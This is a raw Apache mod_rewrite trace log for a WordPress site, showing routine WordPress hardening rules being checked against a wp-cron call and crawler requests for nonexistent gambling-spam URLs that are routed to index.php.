[Mon Nov 10 18:38:23.987716 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987727 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987736 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987745 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987765 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987775 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987784 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987793 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987802 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987811 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987820 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987833 2025] [rewrite:trace5] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:38:23.987842 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987850 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987859 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:38:23.987867 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri 'wp-cron.php'
[Mon Nov 10 18:38:23.987884 2025] [rewrite:trace4] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/wp-cron.php' pattern='!-f' => not-matched
[Mon Nov 10 18:38:23.987893 2025] [rewrite:trace1] [pid 9264:tid 9327] mod_rewrite.c(505): [client 103.4.122.14:39968] 103.4.122.14 - - [vetstars.com.au/sid#2906e48][rid#7f5dac01a1f0/initial] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/wp-cron.php
[Mon Nov 10 18:39:21.699374 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699428 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699441 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699451 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699460 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699469 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699481 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699490 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699504 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699524 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699548 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699587 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699601 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699611 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699620 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699629 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699649 2025] [rewrite:trace5] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699658 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699667 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699677 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix wallet.aspx -> betflix wallet.aspx, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699686 2025] [rewrite:trace3] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri 'betflix wallet.aspx', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699702 2025] [rewrite:trace4] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/betflix wallet.aspx' pattern='!-f' => matched, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699721 2025] [rewrite:trace4] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/betflix wallet.aspx' pattern='!-d' => matched, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699745 2025] [rewrite:trace2] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] rewrite 'betflix wallet.aspx' -> '/index.php', referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699759 2025] [rewrite:trace2] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] setting lastsub to rule with output /index.php, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699769 2025] [rewrite:trace2] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] trying to replace prefix /home/vetstars/public_html/ with /, referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699780 2025] [rewrite:trace2] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] trying to replace context docroot /home/vetstars/public_html with context prefix , referer: https://vetstars.com.au/services
[Mon Nov 10 18:39:21.699789 2025] [rewrite:trace1] [pid 9710:tid 9718] mod_rewrite.c(505): [client 114.119.145.22:20521] 114.119.145.22 - - [vetstars.com.au/sid#4223cc0][rid#7f5804015870/initial] [perdir /home/vetstars/public_html/] internal redirect with /index.php [INTERNAL REDIRECT], referer: https://vetstars.com.au/services
[Mon Nov 10 18:40:42.673792 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.673865 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.673892 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.673911 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.673930 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.673973 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.673999 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674020 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674037 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674059 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674084 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674101 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674125 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674153 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674173 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674193 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674237 2025] [rewrite:trace5] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674258 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674267 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
